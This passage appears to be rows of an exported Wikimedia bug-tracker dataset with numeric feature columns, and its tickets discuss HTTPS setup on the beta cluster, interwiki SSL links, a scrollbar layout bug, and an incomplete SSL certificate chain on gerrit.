Instead, the rough plan is to have a nginx proxy on each of the beta cache. It will listen on port 443, terminate the SSL connection and use the localhost cache as an upstream peer.

The SSL certificates will be problematic since we have a lot of subdomains, as a first step we will use self signed certificates.",,,1367867347,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-17,True,1.5,0.0,0.0,0.5,1.5,4.5,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,3.5,0.5,5.0,10.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,1.0,2.0,0.0,3.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,2.5,0.0,0.5,0.0,0.0,0.0,16.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,10.5,2.0,8.5,1.0,2.5,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,4.5,10.5,5.0,0.0,0.0,0.0,4.5,0.0,0.0,4.5,0.5,0.5,0.0,0.0,1.0,4.044538794538795,0.6965534465534465,"[ccing Ariel]

Ariel and I did a brainstorming this afternoon. We now have an overall idea of the HTTPS infrastructure and Ariel about the beta setup.

Beta does not have any support for LVS right now so we can not replicate production exactly. For example, the connections are sent directly to the caches instead of through a frontend LVS server, that means we cannot catch all the HTTPS connections and direct them at a pool of nginx proxies.

Instead, the rough plan is to have a nginx proxy on each of the beta cache. It will listen on port 443, terminate the SSL connection and use the localhost cache as an upstream peer.

The SSL certificates will be problematic since we have a lot of subdomains, as a first step we will use self signed certificates."
174328,replicate HTTPS architecture,This is needed pretty badly for the work we're doing on auth systems.  Setting to high priority.,,,1367267652,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8095238095238093,0.9523809523809523,This is needed pretty badly for the work we're doing on auth systems.  Setting to high priority.
174322,replicate HTTPS architecture,"Enabling this would also help to test changes to login and create account forms, which display links to secure login and are affected by $wgSecureLoginDefaultHTTPS.",,,1365728906,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,0.8571428571428571,"Enabling this would also help to test changes to login and create account forms, which display links to secure login and are affected by $wgSecureLoginDefaultHTTPS."
174316,replicate HTTPS architecture,"Puppet:
Most settings are in manifests/protoproxy.pp
Nginx configuration is at templates/nginx/sites/proxy.erb",,,1363644167,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.636363636363637,0.8181818181818182,"Puppet:
Most settings are in manifests/protoproxy.pp
Nginx configuration is at templates/nginx/sites/proxy.erb"
174310,replicate HTTPS architecture,"Chris Steipp could use HTTPS for several features that are pending on the production cluster.

We need to sort out the protoproxy puppet class to make it fit the beta environment.",,,1363643936,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-24,True,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.411764705882353,0.8823529411764706,"Chris Steipp could use HTTPS for several features that are pending on the production cluster.

We need to sort out the protoproxy puppet class to make it fit the beta environment."
174303,replicate HTTPS architecture,*** Bug 34367 has been marked as a duplicate of this bug. ***,,,1337106051,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-68,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 34367 has been marked as a duplicate of this bug. ***
174295,replicate HTTPS architecture,"Moving to very low priority, we do not need HTTPS right now.",,,1336496077,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tnsugautoyxawtej4a6p,task_subcomment,,True,c2,1,True,,,-69,True,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5,1.0,"Moving to very low priority, we do not need HTTPS right now."
38628,Scrollbar covers user login,"**Author:** `Thehelpfulonewiki`

**Description:**
Scrollbar problem

See the attached screenshot.

Steps to reproduce. I'm on a computer with Windows 7, IE9.

1) Go to the super secret page URL.
2) Scroll down until the end of the page.
3) Scroll back up to the top and the ""showing namespace..."" bar will continue up past the New Pages Feed title to cover the login, user page/talk page etc pages.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC

**Attached**: {F9225}",Medium,50.0,1336465320,1337884786.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2jr6qxvgirebb7muu2rr,task_description,resolved,True,c2,1,False,False,True,-69,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.5,6.0,6.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,3.125,0.6180555555555556,"**Author:** CODE

**Description:**
Scrollbar problem

See the attached screenshot.

Steps to reproduce. I'm on a computer with Windows 7, IE9.

1) Go to the super secret page URL.
2) Scroll down until the end of the page.
3) Scroll back up to the top and the ""showing namespace..."" bar will continue up past the New Pages Feed title to cover the login, user page/talk page etc pages.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC

**Attached**: {F9225}"
173184,Scrollbar covers user login,"This has already been fixed, but the fix won't go out for a couple weeks. You can test at http://ee-prototype.wmflabs.org/wiki/Special:NewPagesFeed.",,,1337884786,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2jr6qxvgirebb7muu2rr,task_subcomment,,True,c2,1,False,,,-66,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.217391304347826,1.0,"This has already been fixed, but the fix won't go out for a couple weeks. You can test at URL"
37826,[wikitech] Use SSL in interwiki map for WMF wikis,"there is the text
  ""leaving a request on this page (MediaWiki.org) (this is recommended""
which links to
  http://www.mediawiki.org/wiki/Developer_access...

Would someone be so kind to convert that to protocol neutral.  I am told that it it is done by the interwiki map that labs uses and to post this bz.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68751",Medium,50.0,1333953000,1426691475.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-bze3db3pl2w35be2rll6,task_description,resolved,True,c2,1,False,False,False,-73,True,0.0,1.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,8.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,12.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,5.0,11.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,2.0,0.0,3.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,3.467391304347826,0.6086956521739131,"there is the text
  ""leaving a request on this page (MediaWiki.org) (this is recommended""
which links to
  URL

Would someone be so kind to convert that to protocol neutral.  I am told that it it is done by the interwiki map that labs uses and to post this bz.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
428452,[wikitech] Use SSL in interwiki map for WMF wikis,"I dumped the result of Interwiki::getAllPrefixes() from labswiki (wikitech) and it seems OK:
```krenair@silver:~$ grep ""http:"" interwikis | grep wikimedia.org
    string(40) ""http://download.wikimedia.org/$1/latest/""
    string(32) ""http://releases.wikimedia.org/$1""
    string(29) ""http://stats.wikimedia.org/$1""
    string(35) ""http://www.wikimedia.org.ar/wiki/$1""
    string(31) ""http://wikimedia.org.au/wiki/$1""
    string(30) ""http://www.wikimedia.org.il/$1""
    string(47) ""http://wikimedia.org.ph/wmph/index.php?title=$1""
    string(31) ""http://wikimedia.org.ve/wiki/$1""
    string(31) ""http://wikimedia.org.za/wiki/$1""```

Most Wikimedia sites have protocol-relative links in there, which is fine because wikitech is SSL-only. Those few that don't which (listed above) are manually configured as such at https://meta.wikimedia.org/wiki/Interwiki_map and the same would apply on all WMF wikis.",,,1426691475,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,81,True,3.0,0.0,0.0,1.0,1.0,11.0,1.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,14.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,11.0,10.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.8493150684931505,0.8082191780821918,"I dumped the result of Interwiki::getAllPrefixes() from labswiki (wikitech) and it seems OK:
``CODE``

Most Wikimedia sites have protocol-relative links in there, which is fine because wikitech is SSL-only. Those few that don't which (listed above) are manually configured as such at URL and the same would apply on all WMF wikis."
172049,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to Daniel Zahn from comment #5)
> (In reply to billinghurst from comment #0)
> > there is the text
> >   ""leaving a request on this page (MediaWiki.org) (this is recommended""
> 
> where is ""there"" please?

It was covered in comment #2

Old subject was ""Protocol neutral link from https://labsconsole.wikimedia.org/wiki/Help:Access#Giving_users_Labs_access.2C_if_they_don.27t_already_have_SVN_access""

I think that it is probably redundant as labsconsole has bitten the dust in that form, and the page has been rewritten. The underlying aspect was that labsconsole apparently used a different interwiki mapping than the universal, and that now seems to not be the case. Others may wish to confirm that.",,,1411087497,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,False,,,55,True,0.0,0.0,0.0,2.0,1.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,16.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,6.0,15.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,12.0,6.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.9381443298969074,0.6804123711340206,"(In reply to Daniel Zahn from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It was covered in comment #2

Old subject was ""Protocol neutral link from URL

I think that it is probably redundant as labsconsole has bitten the dust in that form, and the page has been rewritten. The underlying aspect was that labsconsole apparently used a different interwiki mapping than the universal, and that now seems to not be the case. Others may wish to confirm that."
172044,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to billinghurst from comment #0)
> there is the text
>   ""leaving a request on this page (MediaWiki.org) (this is recommended""

where is ""there"" please?",,,1411085648,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.227272727272727,0.8636363636363636,"(In reply to billinghurst from comment #0)
QUOTE
QUOTE

where is ""there"" please?"
172038,[wikitech] Use SSL in interwiki map for WMF wikis,I wonder if this was this done as part of bug 68751?,,,1411085173,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,3,True,,,55,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,23.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.9230769230769231,I wonder if this was this done as part of bug 68751?
172032,[wikitech] Use SSL in interwiki map for WMF wikis,"(In reply to comment #2)
> Enforcing secure protocol from labsconsole is just as problematic where people
> have logged in with http: in other (home) wikis, it just reverses the problem.

I don't understand but surely it's not relevant to this bug. Maybe you could explain on IRC? (to be clear: labsconsole is not an SUL wiki and not even on the cluster (I think?) and AFAIK it's been forcing everyone to use SSL/TLS since it was initially created)

[...]
> Until there is a global policy about security protocols, and a clear plan to
> manage it, this modification to my request is problematic.

Again, I don't follow. labsconsole seems to be an independent that doesn't interact with or even know about any of the other wikis run by the foundation. and they don't know about it. (accepting maybe commons. but that could be instantcommons for all I know.)

> PS. It would be useful that if there is a summary change that the original
> summary could be retained somewhere.

It's recorded in the history (see the link next to the bug's modification time. next to the CC list at the top of the page) and in the email notifications about the change.",,,1334034295,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,1.0,0.5,0.0,0.5,3.5,1.5,1.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,2.0,0.0,8.5,11.5,0.5,2.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,5.5,3.5,2.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,0.5,0.0,14.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,7.0,3.0,10.0,0.5,3.5,9.0,0.0,0.0,0.0,0.5,6.5,0.0,0.5,0.0,5.5,11.5,2.5,1.0,0.0,0.0,5.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.5,3.4873984710941235,0.6665671285236503,"(In reply to comment #2)
QUOTE
QUOTE

I don't understand but surely it's not relevant to this bug. Maybe you could explain on IRC? (to be clear: labsconsole is not an SUL wiki and not even on the cluster (I think?) and AFAIK it's been forcing everyone to use SSL/TLS since it was initially created)

[...]
QUOTE
QUOTE

Again, I don't follow. labsconsole seems to be an independent that doesn't interact with or even know about any of the other wikis run by the foundation. and they don't know about it. (accepting maybe commons. but that could be instantcommons for all I know.)

QUOTE
QUOTE

It's recorded in the history (see the link next to the bug's modification time. next to the CC list at the top of the page) and in the email notifications about the change."
172026,[wikitech] Use SSL in interwiki map for WMF wikis,"Enforcing secure protocol from labsconsole is just as problematic where people have logged in with http: in other (home) wikis, it just reverses the problem.

This situation is not just for (hacker|geek)ville, it has to work more broadly for the masses where our pushing protocols but not entirely has people falling in and out of their logins.

Until there is a global policy about security protocols, and a clear plan to manage it, this modification to my request is problematic.

PS. It would be useful that if there is a summary change that the original summary could be retained somewhere.

Old subject was ""Protocol neutral link from https://labsconsole.wikimedia.org/wiki/Help:Access#Giving_users_Labs_access.2C_if_they_don.27t_already_have_SVN_access""",,,1334023992,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,0.0,0.0,0.5,1.0,1.0,7.0,1.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.5,1.5,0.0,6.5,11.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.5,5.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,2.0,0.0,1.5,1.0,0.0,0.0,15.0,0.0,1.5,0.0,2.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,6.0,6.0,3.5,2.0,5.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,11.5,1.0,0.0,1.0,0.0,4.5,0.0,1.0,2.5,0.0,1.5,0.5,0.0,0.0,4.2857142857142865,0.7698412698412698,"Enforcing secure protocol from labsconsole is just as problematic where people have logged in with http: in other (home) wikis, it just reverses the problem.

This situation is not just for (hacker|geek)ville, it has to work more broadly for the masses where our pushing protocols but not entirely has people falling in and out of their logins.

Until there is a global policy about security protocols, and a clear plan to manage it, this modification to my request is problematic.

PS. It would be useful that if there is a summary change that the original summary could be retained somewhere.

Old subject was ""Protocol neutral link from URL"
172019,[wikitech] Use SSL in interwiki map for WMF wikis,"changed summary: use SSL in interwiki map for WMF wikis

protorel is semi pointless because that wiki doesn't allow viewing (anon or logged in) with cleartext HTTP (redirects everyone to HTTPS); so we can just hard code all of them to be HTTPS URLs.",,,1333986438,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-bze3db3pl2w35be2rll6,task_subcomment,,True,c2,1,False,,,-73,True,2.0,2.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,15.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.9056603773584904,0.9056603773584906,"changed summary: use SSL in interwiki map for WMF wikis

protorel is semi pointless because that wiki doesn't allow viewing (anon or logged in) with cleartext HTTP (redirects everyone to HTTPS); so we can just hard code all of them to be HTTPS URLs."
37709,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"> @willow:~/externals$ git clone  https://gerrit.wikimedia.org/r/p/mediawiki/core.git mediawiki/core
> Cloning into mediawiki/core...
> error: SSL certificate problem, verify that the CA cert is OK. Details:
> error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed while accessing > https://gerrit.wikimedia.org/r/p/mediawiki/core.git/info/refs
> 
> fatal: HTTP request failed


It seems Toolserver doesn't have all the local certs up to date and thus I'm unable to do an anonymous check out there.

[#mediawiki] <thedj> yeah i think the intermediate certificates are not in the chain sent by the server.
[#mediawiki] <thedj> Krinkle: en.wp has 3 certs listed in the cert chain when you use openssl. But gerrit.wm.org just the server cert.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1333580700,1336413475.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_description,resolved,True,c2,1,True,False,True,-73,True,0.5,0.0,0.0,0.0,1.0,4.0,0.5,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,4.5,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.5,1.0,0.0,0.0,4.5,0.5,8.0,1.0,1.5,5.0,0.0,0.0,0.0,1.5,1.0,0.5,1.0,0.0,2.5,4.5,5.5,0.0,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,6.0,3.703246753246753,0.7292207792207792,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


It seems Toolserver doesn't have all the local certs up to date and thus I'm unable to do an anonymous check out there.

[#mediawiki] <thedj> yeah i think the intermediate certificates are not in the chain sent by the server.
[#mediawiki] <thedj> Krinkle: en.wp has 3 certs listed in the cert chain when you use openssl. But gerrit.wm.org just the server cert.

--------------------------
**Version**: unspecified
**Severity**: normal"
165279,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Yay!

> krinkle@willow:~/externals/wikimedia-gerrit$ git clone https://gerrit.wikimedia.org/r/p/mediawiki/core.git mediawiki-core
> Cloning into mediawiki-core...
> remote: Counting objects: 362166, done
> remote: Finding sources:   9% (34435/362166)   

this is going to take a while :D",,,1336413475,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,26.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.9473684210526314,0.6842105263157895,"Yay!

QUOTE
QUOTE
QUOTE
QUOTE

this is going to take a while :D"
